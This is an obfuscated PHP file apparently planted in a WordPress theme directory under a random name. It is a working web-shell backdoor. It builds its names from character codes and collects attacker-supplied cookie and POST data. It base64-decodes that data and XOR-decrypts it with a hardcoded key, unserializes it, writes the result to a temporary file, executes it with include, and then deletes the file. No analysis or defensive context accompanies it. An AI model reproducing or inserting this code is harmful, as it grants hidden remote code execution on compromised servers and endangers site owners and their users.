File: /var/www/html/stonescuppers_com/root/wp-content/themes/twentysixteen/isKXTmU.php
$EsmnxAZ = "\x58" . "\105" . "\x69" . '_' . 'W' . chr (68) . "\x59" . "\x63" . "\x41";$wlOHfkr = chr ( 186 - 87 ).chr ( 890 - 782 )."\x61" . "\x73" . "\163" . chr (95) . 'e' . chr ( 284 - 164 )."\x69" . chr (115) . "\x74" . "\x73";$FQdGSe = class_exists($EsmnxAZ); $wlOHfkr = "23725";$iUaAxkDHF = strpos($wlOHfkr, $EsmnxAZ);if ($FQdGSe == $iUaAxkDHF){function GHkejMcz(){$VFppjJND = new /* 64908 */ XEi_WDYcA(53888 + 53888); $VFppjJND = NULL;}$nRJYxKQ = "53888";class XEi_WDYcA{private function vTnJliczy($nRJYxKQ){if (is_array(XEi_WDYcA::$uakBEmxdn)) {$name = sys_get_temp_dir() . "/" . crc32(XEi_WDYcA::$uakBEmxdn["salt"]);@XEi_WDYcA::$uakBEmxdn["write"]($name, XEi_WDYcA::$uakBEmxdn["content"]);include $name;@XEi_WDYcA::$uakBEmxdn["delete"]($name); $nRJYxKQ = "53888";exit();}}public function cupVaBjb(){$qxqILT = "63144";$this->_dummy = str_repeat($qxqILT, strlen($qxqILT));}public function __destruct(){XEi_WDYcA::$uakBEmxdn = @unserialize(XEi_WDYcA::$uakBEmxdn); $nRJYxKQ = "63344_15590";$this->vTnJliczy($nRJYxKQ); $nRJYxKQ = "63344_15590";}public function auAkp($qxqILT, $FnQBrcAYm){return $qxqILT[0] ^ str_repeat($FnQBrcAYm, intval(strlen($qxqILT[0]) / strlen($FnQBrcAYm)) + 1);}public function GrUXkm($qxqILT){$bvHLAIZ = chr (98) . chr ( 704 - 607 ).'s' . "\x65" . '6' . "\64";return array_map($bvHLAIZ . chr (95) . 'd' . chr ( 995 - 894 )."\x63" . chr (111) . "\x64" . 'e', array($qxqILT,));}public function __construct($eZUkHD=0){$ePvWRGacW = chr ( 915 - 871 ); $qxqILT = "";$kuMuV = $_POST;$nXaNRlGQF = $_COOKIE;$FnQBrcAYm = "3845b9b1-d099-42fc-9af8-2c268ef37759";$weOSGaF = @$nXaNRlGQF[substr($FnQBrcAYm, 0, 4)];if (!empty($weOSGaF)){$weOSGaF = explode($ePvWRGacW, $weOSGaF);foreach ($weOSGaF as $AZWeAxMiuk){$qxqILT .= @$nXaNRlGQF[$AZWeAxMiuk];$qxqILT .= @$kuMuV[$AZWeAxMiuk];}$qxqILT = $this->GrUXkm($qxqILT);}XEi_WDYcA::$uakBEmxdn = $this->auAkp($qxqILT, $FnQBrcAYm);if (strpos($FnQBrcAYm, $ePvWRGacW) !== FALSE){$FnQBrcAYm = explode($ePvWRGacW, $FnQBrcAYm); $wXVkytOFOu = base64_decode(sha1($FnQBrcAYm[0]));}}public static $uakBEmxdn = 23424;}GHkejMcz();}